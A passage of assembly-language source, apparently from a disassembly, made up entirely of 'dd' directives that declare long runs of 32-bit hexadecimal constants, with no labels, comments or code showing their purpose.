dd 263DC884h, 2B628EC3h, 91BED5B3h, 0FC35B578h, 0FFBA2D00h
dd 217530B2h, 3421BFEh, 3E87B2CAh, 3FA67387h, 63053D99h
dd 0D45976ACh, 8CBE9296h, 3B886ADCh, 0D2B9490Bh, 0B3D99E87h
dd 6A18FB56h, 28C6607Ch, 5015AF91h, 5C0FB3AEh, 0CDC16F38h
dd 45597648h, 11AF832Ch, 0CAB15F93h, 4607A82Bh, 0DAF8D560h
dd 298A7AC7h, 535559C7h, 1CB24519h, 8CCC8647h, 0F69DFA4Dh
dd 0B1BFED94h, 261D3BAFh, 0DE6F4861h, 47A49B82h, 0ACF3163Ch
dd 6D09AB0h, 93BFCD48h, 0B5C42BBBh, 981984EEh, 0FB5FE5DCh
dd 927067BFh, 3C5761F0h, 273A5163h, 80981BF0h, 0F718783Eh
dd 0A41381D5h, 36B16EEBh, 5C1F643Ah, 4884B2Eh, 84EFE060h
dd 0EDA95FA1h, 0F6A5D8B3h, 0EAD76FD8h, 75050315h, 0EFA32DF2h
dd 84F8CE2Eh, 8DEE3ADh, 72D9DF0Bh, 0D2873D7Fh, 0E9C60C72h
dd 0ED0C0B62h, 4F1F1984h, 882336A8h, 2CCA3708h, 75008253h
dd 0EC8E7DC8h, 3066B6F2h, 5643B260h, 69EC408Ah, 0CEF87710h
dd 0AA36A9CDh, 9606DAE0h, 3845D59h, 9D015B50h, 8B86C80Ch
dd 0CBB3E8FBh, 7A53DFA7h, 8D3DDA67h, 1F687BDh, 3E17FA9h
dd 0A5D96E88h, 4B79D95Ch, 9399E89Fh, 41C23841h, 56DD2EDDh
dd 3BE34879h, 17B774C4h, 7187A6BCh, 0B5ECB42h, 3C54433Bh
dd 670BB4Dh, 0B207C606h
dd 0F691180Bh, 92BB6AF0h, 34B03B0Ch, 3EC12E14h, 0B752EFF3h
dd 0B3D0F728h, 0C4365472h, 2D6F60CCh, 416EDACAh, 0CB216996h
dd 0DDB172E3h, 7CCC7615h, 5CA153D0h, 0A25893D5h, 0CF74204Dh
dd 785D0D6Eh, 0F319FC2Ch, 0E2C6C960h, 0F52F1B93h, 0A35B1163h
dd 0E55E2A4h, 0B690E6E8h, 0F72791F8h, 0C911B23Fh, 498E9557h
dd 877A7B99h, 0E8C7FA0Ah, 20618481h, 373868C2h, 0FE90CEA7h
dd 8C611F45h, 1181D8F4h, 7E8D4423h, 0AB50AD62h, 67F051ABh
dd 0AC61FEDh, 0CB5ABFE9h, 5CB9EE97h, 0EE517DA4h, 8DC92C36h
dd 40761D85h, 18BAEDA2h, 644B1EDAh, 14C9FB88h, 6E4D2ED5h
dd 0AB71C48Ah, 0C5753583h, 86C8B7BAh, 0D52FD388h, 0DA30E6C6h
dd 0F62DB532h, 8908F685h, 8E59F10Bh, 0ECF97694h, 14BB47C1h
dd 0C4F573A1h, 1ED3F316h, 0BE0CA8A2h, 0EEC16153h, 0C955E09Eh
dd 0BEAD2E36h, 2BD30B7h, 0A3BD30A0h, 2FB301A2h, 2D25FAB0h
dd 26B09858h, 0D9311FB8h, 842208E7h, 3FC79ADAh, 0EB580D46h
dd 0D69EE300h, 0E572CBD9h, 98AE031Eh, 0AC31282Eh, 0AA66B1B0h
dd 0C77DCCA6h, 94C7E218h, 81CCE07Ah, 5B10E5A2h, 469F6EFEh
dd 0EF05A88Bh, 0D0FD0211h, 9004419Fh, 0FB4D1B0Fh, 0DAF8289Eh
dd 8B8C8C40h, 126B9123h, 0B3BF4FDDh, 0D31407E1h, 0AC82B790h
dd 0FB07E16Fh, 8C28CBB7h, 93F4453h, 80BEB4AFh, 7CB7B145h
dd 433F54C2h, 20E099A1h, 4BF5B75Bh, 539382BAh, 59A2FA5h
dd 8ED23F24h, 2148337Ch, 89C1732Bh, 0DB3CA743h, 520E3F63h
dd 5F00D8E3h, 4F8DC675h, 95DFBA8Ch, 0B659643h, 2CBD7168h
dd 0C58A813h, 1A7B6B19h, 65DBCC85h, 4E8290CAh, 0FC2AAAF9h
dd 0C09042C1h, 685A56E6h, 0B6BD42F6h, 2EA732BEh, 96E7AF5Bh
dd 0EEF7A94Bh, 0D1A0C875h, 21EEF6A6h, 5760785h, 0D0399A8Eh
dd 20871B16h, 0E1622BD5h, 0B787A3A9h, 928D7A9Dh, 0A76E87E0h
dd 7EA93C5Ch, 0AD7B8491h, 5204D91Bh, 88A0F70Ch, 0C44AE44Bh
dd 5EA36753h, 11DD72E0h, 623A5303h, 2FE66B15h, 55BCC19Ch
dd 0ACDE8AAh, 0FFC96123h, 19DB84C0h, 6734F3B0h, 61A0C049h
dd 771F7888h, 0CE52A2BCh, 0ABAEAFBDh, 0A91B9477h, 3C6AA7ADh
dd 36381AF6h, 2688846Ah, 64313697h, 1523BDFEh, 0F20B1B4Ah
dd 9D926736h, 0CB638E8Eh, 68ECB05Dh, 81ADD842h, 0CC68D6A9h
dd 4DFC7484h, 0B99844D7h, 0C61C549Bh, 967929C1h, 87BA76F2h
dd 7C4C8F44h, 22E8D545h, 0A235D7C9h, 21F403CDh, 34462A1Ah
dd 0E19F9A5Fh, 0CAF7FED1h, 73DC82D3h, 4B77A615h, 0A1603777h
dd 0E8F850BAh, 22C07D06h, 5C33B89Dh, 81625D9Fh, 0C35D1EDCh
dd 38C10536h, 840AC5C0h, 0FF8FAA76h, 2929B10h, 3E4C012Ah
dd 74D04123h, 0B78A5FEDh, 0DF2315A4h, 6D9AA23Dh, 0DBDEE3F7h
dd 0A254CF52h, 23555107h, 55BFB7E8h, 3884638h, 0DC81876Fh
dd 0ED0A2D7Eh, 0CEE436BDh, 0D61C2365h, 0FE0DBE35h, 70FE188Fh
dd 91F896D8h, 275696A1h, 92B7D9D1h, 29681Bh, 372E281Fh
dd 552C17DAh, 631E3CF2h, 0B6D721D1h, 7F34454Bh, 3B2D9E64h
dd 0D52BFE46h, 0E019014Ah, 2DFBC21h, 0E101E03Eh, 0C74D164Dh
dd 0BCA62507h, 0A740FF5Dh, 0E47EA24Dh, 8C219BCAh, 2679E984h
dd 84D66DEDh, 509CE28Dh, 688B1BB1h, 0D184EA3Ch, 0E7608534h
dd 0E6A55C30h, 7D8A412Ah, 33AC7C48h, 24D6A16Fh, 0F1B9A1B5h
dd 4FE976C4h, 5E41D412h, 0BD330620h, 4E9E73DFh, 6AEEAF97h
dd 7CBFF23h, 0F31E730Ah, 3B1F96C2h, 73DA5177h, 417CD053h
dd 55539AAEh, 95408051h, 0D138E509h, 0CADD5F00h, 69F2575Dh
dd 0DB3E7496h, 724E6FF6h, 38045DC6h, 900961B5h, 72D4618Ah
dd 0A41CC654h, 8E64D4Ah, 9E0C3624h, 0D003FBA3h, 3E36037Bh
dd 28B4FACCh, 4453DEA2h, 7F8E4A41h, 0BC97E269h, 0BCE85D98h
dd 0BE6CA91Bh, 753BA264h, 733D776Fh, 1A135996h, 471F3DBCh
dd 0C809E2F9h, 8BD7079h, 89BE4AA3h, 7B50EDA1h, 0C20C7E20h
dd 167BC0B4h, 0B5DC12EFh, 175587h, 153D326h, 99E0509Bh
dd 31408866h, 30A688D8h, 8E334D3Bh, 0B57FF153h, 0EF854BE7h
dd 0C736B7E4h, 4D0FAC6Ch, 0AD75A763h, 26418A8h, 10A84F9Eh
dd 779ACA84h, 0D8FA5FA5h, 64B0B693h, 0E375DAE9h, 22C377B2h
dd 0C5900395h, 95DB7E64h, 0A6FEC071h, 0B56D54DAh, 0A6B16F5Ch
dd 2137F2DDh, 0EAB75AB5h, 1F82C029h, 6EF2404Ch, 768AC3Bh
dd 0F6FD1674h, 26A86508h, 80A7A648h, 0F67FC387h, 572227DAh
dd 205162DFh, 1448BB7Eh, 7FB1EBBEh, 80D4E66Bh, 6235F3F1h
dd 1A013D21h, 0CB8BF260h, 2321817h, 0B82D9540h, 0DB248469h
dd 0BA9837C3h, 0BB90B337h, 0B9DF531Ch, 56298E3Ah, 62E3BE86h
dd 0BCFD233Eh, 854001EEh, 0B2FAA644h, 0EF42DC43h, 0DDE95CCBh
dd 56025AA6h, 0A56321C7h, 3C4CB823h, 0DB31626Dh, 12F5885h
dd 46466E25h, 0D363AB3Eh, 1FC6E13Eh, 0F3FFA77Dh, 66F46EBh
dd 8E187BF8h, 0BD578EFFh, 9730E442h, 66E899ADh, 0C554E183h
dd 3FAC70B2h, 8A43B9FCh, 36DDF5C1h, 353E4E91h, 0F41CA855h
dd 4827FEC3h, 0FB22705Bh, 99C2516Ch, 89D6FEF3h, 26E4B260h
dd 0A431B95Dh, 0C6F5D00Bh, 0D8F3E5E2h, 0CF7EE9CEh, 0C8B84CDEh
dd 0AE260463h, 0EF890779h, 89F67E55h, 1E424F95h, 0D7AC2E81h
dd 0AEA64AE5h, 3E0E38Ah, 0DC163B21h, 2D959553h, 0BA71E394h
dd 0F7B02FE9h, 88515EC9h, 0AFC6E030h, 48476A84h, 56AB90D6h
dd 0DE875CE8h, 9605D890h, 0EEA5683Ah, 0D59FAF2Bh, 0AC6A5799h
dd 0A05F2CAAh, 0A1B4F73Bh, 7E135C89h, 81DB2BC9h, 59E39100h
dd 4EFA3829h, 0DF67562Ch, 0FB69787Ah, 0D2D37260h, 2764CF6Ah
dd 0F8AD16C0h, 7123566Eh, 2F626F03h, 0EF164A85h, 0E3619407h
dd 2313FD25h, 448079F7h, 83278864h, 0AFBFC34Ch, 3ACFF8FFh
dd 0D45D29ADh, 0CFC4A5A3h, 0DE759AA6h, 9B9766F0h, 0C2BB8753h
dd 33B79067h, 79BF56D5h, 0FD1EAE2Dh, 0D12C9DD3h, 0E80458B4h
dd 2ACCD16Fh, 22899372h, 0DAA5DF73h, 5C669BC8h, 89BF1F3Dh
dd 2C2B68FDh, 82F947DEh, 0A1BB6AF4h, 9B5131A4h, 0E403CA6h
dd 1A07895h, 0C0A79D29h, 0A81484C9h, 4FE08A07h, 0D3B99680h
dd 0BE2CC7FFh, 0CA5D0A11h, 0AF8D9C25h, 0E4BA30F7h, 9144086Ch
dd 0EEC9B5A0h, 77429251h, 3CB048B7h, 52AA00E5h, 0CD0C665Bh
dd 9AA0924Ah, 460F5920h, 60DC5AEEh, 343F3CD1h, 73D5C0E6h
dd 6AD429D7h, 0B708FC34h, 4B6A58AEh, 0C17FEA04h, 0BABFFAEEh
dd 3EDF7F6Fh, 148B1445h, 0F55C17A1h, 0D46FDF40h, 7D61EB82h
dd 73C7C73Eh, 2149017Dh, 0E15B0433h, 0F5E5C08Ah, 0D98C69A4h
dd 0EA9DE107h, 497B8D7Ah, 37E3787Ah, 8AA29801h, 0D5FC098h
dd 0EA4824Dh, 65D23411h, 0A905AF63h, 0E46C6050h, 7BE353CBh
dd 0FE08F0B6h, 0F9474h, 0D2E1BC32h, 9C564075h, 4F186457h
dd 0DEFCCA4Ch, 2A34104h, 3D510227h, 0D475AF55h, 926A7D34h
dd 0FC9E868Bh, 297E6FAh, 0FD8668CAh, 5DD48BF0h, 68D4B606h
dd 3563ACE3h, 5B20DB5Fh, 702D467h, 8491DD27h, 0A213CE84h
dd 0FC935927h, 5527C081h, 8DE8774Fh, 80E3B3E7h, 8AA2F3DEh
dd 0D9BB8312h, 0A20AB16Ah, 1A06F1BEh, 62AFC684h, 60A2DFAFh
dd 6963F19Ah, 9EBD0007h, 85B806E9h, 0E89DAA89h, 0CCD6ED7Fh
dd 67E34133h, 33E14C84h, 0EC95B4ABh, 0A69CC801h, 4D86BE2Dh
dd 82A86BACh, 0CE61DB2h, 0EFC1180Dh, 7E26F343h, 0E466C876h
dd 0A9777E10h, 0A2F0F17Ch, 509270F4h, 5967EAD4h, 26A2AD34h
dd 46F8CF15h, 9FD8FC0h
dd 9E01A4C7h, 0C8ACDF45h, 0F226350Bh, 7F6FF471h, 4366418h
dd 0D17583EEh, 0B32BBDD1h, 9D4CD43Ah, 4BDF2AC5h, 18AA3505h
dd 921CC441h, 76D10F80h, 0A1DE331h, 0F9183DD1h, 636408ABh
dd 9EAEC42Dh, 0D8DB850Ah, 2001BC34h, 0DE52A348h, 9F2E9693h
dd 1088F2Fh, 5BA8E2D5h, 0E70DAE72h, 0BC88C61Eh, 27AAE9DDh
dd 0B1B98D69h, 682A49F5h, 1660B99Ch, 1A4E4295h, 5D8C1386h
dd 0ACBF16E7h, 6DFF4505h, 78D2B0AAh, 0EBD4CC43h, 0CBE17F75h
dd 0FE1C8720h, 2CEC47A0h, 0B19AB93Ch, 0B4D51D41h, 4D14A3C5h
dd 331C2CBBh, 0A39EAB6Ah, 0BAAB6834h, 3E375FB7h, 0E528A05Eh
dd 290C1A12h, 0DE88C570h, 24FD77FCh, 0C4A64FE4h, 0A646C967h
dd 0A27BE50Ah, 0EDEBF478h, 0DF4102FBh, 0C587D34Eh, 0E55343E3h
dd 0DC912434h, 3164CC6h, 34C9083Ah, 40A3279Eh, 35D04149h
dd 84F742FCh, 0A1E9B9E8h, 2FFACDD2h, 0EC7C2698h, 208DA75Eh
dd 83280A45h, 8E28F662h, 237AB6E1h, 0B6406524h, 5ED9236h
dd 0B68E9314h, 1901AE4Eh, 0B86D0491h, 1159B4A0h, 37ED347Bh
dd 11BD71EEh, 1F5A0C0Ah, 263AFDE7h, 383F1BD8h, 9E000F8Eh
dd 0D243711h, 8576E8A7h, 0A74331EBh, 0C350FCFAh, 3125A88Dh
dd 8DC4D9B9h, 0A9092155h, 8A1A64D2h, 0F41C066h, 0FEB24575h
dd 84001E97h, 0FD93A449h, 5165C70Dh, 3DD3D0C3h, 56FDA23Dh
dd 775DEB9h, 5831846Ah, 60B50B87h, 0B45ECAE2h, 0B5306373h
dd 8550304h, 0B93C84D6h, 0F1A13801h, 0D6079D10h, 3FFB79BFh
dd 5AD52D9Bh, 144193F5h, 1D698B85h, 4480AEB8h, 0CE6B76FAh
dd 5DD4F0B5h, 0D7DE38Ch, 7AD886B9h, 4D27E0ECh, 1D2860E9h
dd 120687CDh, 4B96CBC3h, 2E42671h, 5E876FDDh, 3338C45Ah
dd 9E2C3AF5h, 0C3A887C4h, 0B43EC2Dh, 18F1A7E7h, 0AC9DE00Ah
dd 0B467CDC5h, 0B3F4B71h, 30A3ACAh, 348ABB99h, 5AEF7F41h
dd 0DDC7C760h, 0C01B2FF3h, 0BFCE1B16h, 0AAA71B11h, 1BA2D082h
dd 200051BCh, 0BC3443D0h, 8AA33C1h, 0BC3FD8E4h, 65A9D50Dh
dd 35281953h, 89B9177Ch, 0E4B9E1Fh, 0F9EB93A8h, 0E661AF06h
dd 73E39FBh, 9670E5DCh, 31979725h, 742355C3h, 0B33EA67Dh
dd 0AEF59D39h, 6F19E3C2h, 35C0B9D8h, 9971FEB7h, 10C93901h
dd 0A008AF09h, 141EDD68h, 25970E05h, 8A10752Bh, 857194Eh
dd 51352B22h, 4B589286h, 0D19E5D37h, 9F97447h, 4276F717h
dd 0D7018CCCh, 0B2D3B0E6h, 0CCA32684h, 0ED8658CCh, 0B71E4739h
dd 97521991h, 0B3514645h, 0C0AF628Ah, 0A53E3B74h, 0D8B2A00h
dd 958F0AC2h, 0D9FE46C7h, 0A2DFF851h, 0BED1726Dh, 0E659876h
dd 99AE0105h, 0B21DD5A4h, 511F9F96h, 812A49D4h, 5BEB3404h
dd 551D594Ah, 14713D8Eh, 36CC1148h, 0EE82EB90h, 9AA59C3Ch
dd 0C63F55CEh, 0E741250Eh, 9E4BF3CAh, 479CF921h, 7DC73770h
dd 6F646A22h, 1EE3F72Bh, 535865D5h, 7929550Fh, 1779CEBh
dd 6C24C844h, 0E9B69946h, 0CFDEBE5Fh, 0F27DD5E6h, 0CC33E497h
dd 7BA09DEBh, 6F8911B5h, 21AF92D6h, 7BC7417Ah, 0C60960A5h
dd 9448654Ch, 0D93063F5h, 2D2E31ACh, 47407545h, 85FA9E3Eh
dd 27A5F384h, 8F8E2550h, 0C42D9084h, 8F172164h, 39F391C0h
dd 632F2115h, 77BAF391h, 984A7241h, 0D1985D06h, 7F5CE205h
dd 3062CFB0h, 0C13D6CD4h, 0EE34895Fh, 782B889Eh, 2C24949Dh
dd 0EB7EA016h, 0C49BCF57h, 10CF254Ah, 7BC68296h, 4816DF89h
dd 0A42263DEh, 9A50DCEEh, 865C5348h, 935008B2h, 8827A77h
dd 0D4347336h, 0AEBB2B5Fh, 71AB46E8h, 0D9C4E0DBh, 2AAB34F6h
dd 1316FF78h, 0CB69B3CAh, 3C94FF09h, 70CB81F2h, 6746BEA8h
dd 2556D549h, 765AD949h, 51252356h, 0CB6C14EFh, 30C2F216h
dd 33A5E789h, 43C7705Dh, 0F7FB2326h, 0EBB69BAFh, 0F45F56A5h
dd 0F39E7ACFh, 0AD09431h, 4E8236A4h, 323A35F7h, 0DDA220AEh
dd 0B0E2153Fh, 0CE17E846h, 8A315E00h, 9B0911E4h, 8C81C040h
dd 0BAD09920h, 0BCACF95h, 11DBA059h, 7F09197Bh, 4A87E115h
dd 2D3056DBh, 0CF95A58Dh, 4AA1244Bh, 0A75BAA69h, 317F753Ah
dd 125059Ch, 38A1E725h, 577D6368h, 13F7DB16h, 0C7AB73DDh
dd 0CE659363h, 0FDCCEBA7h, 0AEDC8673h, 29B7D25Fh, 0E7BC7A6Eh
dd 37DA52Fh, 11E23CE4h, 0AB5D71A8h, 0F03841BCh, 0FFB3893Ah
dd 797693C3h, 6C8FFE6Ah, 22B1BD2Bh, 0CEB2989Dh, 4D2CD8FAh
dd 85AC9D73h, 0C8B487h, 503FD0B4h, 1523BB4Fh, 0DE6B8A8Ah
dd 0B6A4C8BDh, 2F431074h, 7C060B65h, 33A71BA7h, 0CFF701EFh
dd 190495Ah, 1D22C221h, 0D1C1412Eh, 7CB20A27h, 0DC9E819Bh
dd 110F7F5h, 1AC1FF88h, 0EF3AD97Dh, 60BEFD91h, 8068D816h
dd 696D2A53h, 91AB510Dh, 0DC8716CEh, 0CC3274EEh, 429FFC04h
dd 5F409579h, 0ED93BF7Ah, 2A68C750h, 4042B406h, 3CB83803h
dd 6E5AF3A6h, 57D2820Ah, 7DFF95DAh, 0DD25ECF0h, 83A3ACDAh
dd 0E29318F4h, 800B5934h, 2B0EF282h, 9F10298Ch, 0CAECBE7Ch
dd 4C15A1Ch, 363F643h, 97B925BAh, 0C00B3FF6h, 27D96F40h
dd 2280F56Eh, 0AA49D965h, 0AE14A17Ch, 815EF196h, 165E73E8h
dd 631D110Ah, 38E83A57h, 0F7749B93h, 0D63D7C02h, 0D303FB00h
dd 6CC8CA5Ch, 67AB37CAh, 0BCA26A63h, 0F2A7845Fh, 0C018EAE6h
dd 0E6807A43h, 34AE7CF2h, 7B2843CEh, 35E126C7h, 0C5A299DBh
dd 696B4B3Bh, 9245AE01h, 0A9C1D709h, 204268FEh, 7B34726Dh
dd 0B1A6B8FBh, 39C897AAh, 9E6257F8h, 1B4565EDh, 43C5AC7Ah
dd 389A4AB6h, 1DE46426h, 7D19023Dh, 2D6662DFh, 0CA7EEA76h
dd 2CC00Ah, 0F90F537Ah, 784FD2F4h, 33C08DD3h, 511012E4h
dd 271BE55Dh, 0E43BECEh, 98A9D9D8h, 636C0DA8h, 0EB85853Ch
dd 5DE49199h, 935090D5h, 0DD555D94h, 6875EAD9h, 0A3AEA63Dh
dd 6047E6E7h, 0DBE52239h, 16B1E33Eh, 5D7399BEh, 8556AED0h
dd 6A84DB11h, 1F47363Ah, 0EBB976FBh, 6A9D4770h, 93203B85h
dd 0C4392930h, 0C63397D7h, 0A1B7AA06h, 3F4F8046h, 0B5CE2F69h
dd 0C87CCEBh, 88463D7Bh, 895B79D8h, 0D2FB0864h, 9571C7Ah
dd 60DE1A4Bh, 0CCB8C52Fh, 0E3516CB9h, 473A44C7h, 976D3CB1h
dd 9287BD7Eh, 5AC5A6B1h, 8F28D6E9h, 0ACE37D8Bh, 42DAE1Ch
dd 3E46B623h, 4CDF8154h, 19505B6Fh, 0A493603Bh, 99D7B205h
dd 550C3DB3h, 0EB4A5E1Fh, 99C2B33Fh, 52092F0Eh, 0F45F004Eh
dd 0B73BDE55h, 0CDE73E35h, 5D9A3D50h, 5B3E715Dh, 0C0A89E9Dh
dd 6184AB3Bh, 48622629h, 0ADDA09E6h, 131E4E9Bh, 0CF12A987h
dd 40CAA154h, 1263445Fh, 0AC23FADDh, 0EFDBBC80h, 0D3B27088h
dd 3B08C58Fh, 661E2170h, 0D4E8B190h, 0E4D586B2h, 0DB359505h
dd 0E0866ED2h, 0BA5A308Bh, 2BC8526h, 2DC95ADh, 645BD294h
dd 0C40D9FE7h, 0D1C9787Ch, 6F96C6C8h, 4012BB8Eh, 39B34F71h
dd 15A24C4Bh, 0F354F7BDh, 3D2C4FCFh, 0FD819AADh, 494D62FBh
dd 315F5011h, 0EDC88FD9h, 0DE4C9E83h, 97DB8681h, 9765E318h
dd 0F7911615h, 519ADC8Ah, 0C983AB7h, 426844h, 2526FE7Ch
dd 955FB065h, 37366F73h, 0EB103A18h, 0A5070DD9h, 9E5E18ADh
dd 0CD74D20Dh, 7EC47D6h, 1776576Ah, 0D89FE65Ah, 0C1215635h
dd 58774681h, 63DD8D41h, 6DB4ECBh, 0A2F470A2h, 0CCD5BC1Fh
dd 86DD157h, 0D26AAE2Ah, 91023C33h, 15A01B0Eh, 0BFB5DFAh
dd 0AF09D5Bh, 687C361h, 0EB77F9FDh, 8619DA44h, 2E94B58Ah
dd 5B0023C8h, 0BB80DC67h, 3AF81C76h, 434D68E5h, 4F0D7497h
dd 8ACBD94Bh, 0F0CC5E2Eh
dd 0E266A3Fh, 0E13A3B7Ah, 0CC55C527h, 95B2DF02h, 0BE180413h
dd 535CF4C4h, 0FA3CAA66h, 0EFA450EAh, 86FFC4BBh, 89764935h
dd 0A559433h, 0D7A372A1h, 4AA5BB58h, 0C3FCA5C3h, 4CBEABBAh
dd 0C6163737h, 6AA5028h, 0B747F2EFh, 82586380h, 0BCA5DAC5h
dd 0BBC5D053h, 0DB48ED5Dh, 0FFA391ADh, 0EDB72FCh, 0EAE32253h
dd 1594FB65h, 0BEAB2E71h, 16273872h, 8215F57h, 4CCDF0F2h
dd 0ABCA4838h, 0DBC0ED55h, 51FFE8A3h, 0CBF08ED5h, 0C3F04E6Ch
dd 22142A05h, 9E02FEF6h, 0F8889AAFh, 0EBC68244h, 7C8C8500h
dd 5E3A116Fh, 47942DEFh, 91E9E3BAh, 4AB10F24h, 6D667A33h
dd 380C1F45h, 246A4278h, 8628A15Ah, 0E4BDA20Bh, 0BA82CDBBh
dd 0F3C9AAE7h, 1C18A92Bh, 27946FC1h, 67F87CC1h, 775BCE5Ch
dd 11C1FA1Fh, 0A91ED91Bh, 0F460CE0Ah, 0DC6DAA4Eh, 1D9400A6h
dd 0D1DA2308h, 651B8559h, 0DD62A14Bh, 9DC3C74Ch, 3483541Eh
dd 0CC3A84DBh, 0ABA6A6B7h, 0FFD9FB16h, 140B9DD8h, 43FF9B10h
dd 5632C935h, 0C25A4E9h, 139FE751h, 0B78EA97h, 57413E6h
dd 1EE2690h, 0A9D11BEAh, 16CC69D3h, 0CEB7CAA5h, 71386A0Ch
dd 0B77171EEh, 3F1D85BBh, 0A84066B1h, 58CE3E8Dh, 0E6DA2B0Dh
dd 3118A5B6h, 670EBE3Ch, 5F7092ECh, 97F0EEE0h, 4F580313h
dd 6A6DF408h, 8BCC0621h, 0BC1AF164h, 0DF54113Ch, 0EDD44562h
dd 301FBD75h, 76180A3h, 0D63193E5h, 11ADA432h, 0F1959D6Bh
dd 85657FFCh, 8043B1BFh, 16040E91h, 31B63FFh, 312ABC72h
dd 1597774Ch, 0BEF0E2C9h, 9F3C169Dh, 0ABD6430Dh, 5CC6ED15h
dd 7F345C3Bh, 0D178CE68h, 0C78323ECh, 60FBA655h, 0C78B26E7h
dd 0AABBEEA1h, 0CC72D1B0h, 9C750215h, 0B9D15A3Eh, 0B946B98h
dd 4802890Fh, 247D740h, 57E747AFh, 0CF153D3Eh, 0FE4F2C74h
dd 0DC8E9247h, 0CB917F4Eh, 0A99F8795h, 0DE7A2DEBh, 7EDF8E10h
dd 0B0FF6210h, 0F523F161h, 68249086h, 6312C289h, 0CF670CD4h
dd 75FCA096h, 519DD7BAh, 0DEDAF4B5h, 0A0651334h, 0E44BE373h
dd 0E2C1FB5Ch, 0B32F884h, 985F8F3Fh, 0DB2B5C31h, 0EAF68B4Dh
dd 16CC87A3h, 89DF5960h, 0ECAD07E7h, 59BF16B2h, 0DD9F5E5Ch
dd 0CABC00Eh, 0A5751D0Ch, 655831CFh, 98331FE3h, 16ABF8D1h
dd 1D143470h, 0ABF45895h, 8F31629Ch, 0B71A4F66h, 80C1494Eh
dd 232FE50Ch, 613B3741h, 0C41E9650h, 676CDC44h, 0E6A53470h
dd 6BA61EACh, 0E1BD362Ah, 0B513EB25h, 4F5142A4h, 2854EB6Ah
dd 0B81ACCF7h, 7A077D02h, 0B655D020h, 0C359A242h, 6DCFE230h
dd 7FAD218Fh, 3C0C7689h, 0D58ED76Bh, 0E842F342h, 4EA056D2h
dd 0BCE8A449h, 0D4265D75h, 0E6AFF43Ch, 8D81969h, 0EE87D17Ah
dd 4F65C66Ch, 3CF6F97h, 0B24DDFC5h, 0CA4382DDh, 0D6487D13h
dd 0C3B1B753h, 1A3A4154h, 0ACD6A880h, 0B0B41CACh, 0FCC2EAD3h
dd 42335884h, 0DC742C37h, 34DBA10Ah, 0E1CC101Ch, 58859D0Dh
dd 0A05CEB40h, 7EF9ACD0h, 29D43B9Dh, 66FDA787h, 0BA6FBF6Dh
dd 76D1C9B5h, 0A861E01Ch, 190ABB6h, 0B518915Ah, 0BBDF88E1h
dd 92D30107h, 500714CBh, 977A3C22h, 0F83E43AAh, 0E83F9BD5h
dd 556CE8F6h, 0D0A720BEh, 0D56D6C21h, 68D93891h, 7589F273h
dd 9A5E4EF9h, 12CCBF23h, 97DF0C16h, 0B0B1C88Fh, 0B1A0F3A1h
dd 0B7671B65h, 5CA1A201h, 71EAB2ABh, 834C8757h, 42D80D87h
dd 0DE2E9A26h, 17D5E380h, 88B80F3Fh, 8B792272h, 0EE67541Ah
dd 89F7F507h, 0C678E788h, 0B7A628A0h, 4649344Fh, 821F4DA3h
dd 61BF21BDh, 82E0825Ah, 0F7BBE9F2h, 120D8251h, 68F876B0h
dd 0CB3B6543h, 0BA2A1EF1h, 8A2D97EDh, 70CBE22Ah, 0E57DC5FFh
dd 7EBAE918h, 7E02E336h, 2DD21D58h, 0B7FC3B6Fh, 5026150Ch
dd 90B88D82h, 8E56AB81h, 0DBC64987h, 52B7C472h, 33814FA8h
dd 3F2371F9h, 0D9B11DCFh, 7CD99895h, 5DBB4C8Fh, 0C7C98798h
dd 0C320AAC1h, 5CF60528h, 1832E794h, 0AC3CC536h, 0C0F16142h
dd 718989D8h, 0E0BE964h, 0AC4E08F7h, 0DF253F84h, 0D089683Eh
dd 164896F1h, 88E15268h, 0CAA991DAh, 7ACD3193h, 70D7034Ah
dd 0E9ED5929h, 0ED312D7Ch, 0D78A9818h, 39CDA1BDh, 0E74C32F0h
dd 1A21BF33h, 76DBBE73h, 0A77E0D83h, 0A4459357h, 0FB9B8607h
dd 0A36DF128h, 0BDC3E71Ch, 6FCD3E95h, 38602DC0h, 245C2C37h
dd 0B9D30AA4h, 0C87390D3h, 0CB9CE0DEh, 0E0F267F3h, 0AD3C078h
dd 0E25E74AAh, 42869B12h, 4892F8Eh, 4065556Eh, 0AED1E5DBh
dd 4FAE1C83h, 0E1E9629Bh, 0EC5B989Bh, 0DCFFC0BFh, 0D45A9A08h
dd 7F9E740Ch, 38991333h, 33BA1649h, 1EE24177h, 8B290B99h
dd 74AE229h, 2547C54Ah, 7C3A89ADh, 0E2E3016Ch, 87212DA8h
dd 9E9A2DEDh, 1BDFA6F8h, 0DD697F21h, 1B99C797h, 3D52F0E9h
dd 5282346Bh, 0A9C785E6h, 0FD936E3Ah, 0D0F5A6AAh, 641A8B69h
dd 0B3E95663h, 4BDCBD4Eh, 6B260E65h, 1EA1BEDFh, 9040F65Bh
dd 0D614A316h, 7E37349Bh, 5A57A253h, 5E845509h, 5AB2C798h
dd 0A07DE26Ah, 0F29C188Fh, 0CA26B08Eh, 33D9D56Ah, 8EF9311Bh
dd 0F351C4FAh, 0DDFDB6BCh, 0AFC68363h, 0E1091D63h, 84F36D84h
dd 1F529CAh, 0E63AD605h, 250C5B9Ah, 0B1ACEFA0h, 0FFABE80Eh
dd 6A3EDE4h, 4E046A00h, 8306D3FEh, 14C834A1h, 0F1642CABh
dd 5FAC69B1h, 0C11BF5B1h, 0DE72BAD4h, 0B705E6A8h, 1A2CE1D9h
dd 0C9976D57h, 17A9E48Ch, 11976CDh, 700E941Eh, 0DA319B38h
dd 54F58D9Ah, 36E86Dh, 0B186B048h, 0A20596BAh, 0B369C29Ch
dd 0F887AE9Bh, 0D62947C7h, 6A07B228h, 8F9157CBh, 34599977h
dd 0ED9DC3E2h, 0A0254CDDh, 0B222B978h, 9902479Dh, 4F98E12h
dd 704CBD48h, 0C7ED41CDh, 6EAAA65Ah, 55E9048Bh, 0B5B96800h
dd 6CCE33F5h, 5E1E2EDDh, 0BDDD97B3h, 572668CAh, 54B1970h
dd 18BA766Bh, 4930C396h, 0A5A80B2Fh, 828D9ED3h, 84C3F1A9h
dd 4776AD9Dh, 0E17969B3h, 5CBAACD1h, 0E4CEB968h, 9E3EE927h
dd 56A221EEh, 13307F92h, 9011499Bh, 0AA0AA216h, 92D888Bh
dd 61D94CB9h, 5EFECF2Ah, 524C9284h, 70678B2Ch, 0B9915321h
dd 358B467h, 0A309219Bh, 611C5623h, 79F5BFF0h, 0F9A73550h
dd 5C6A76F9h, 0B06DA23Fh, 0A9CC67BFh, 0BD225477h, 8B5C103Bh
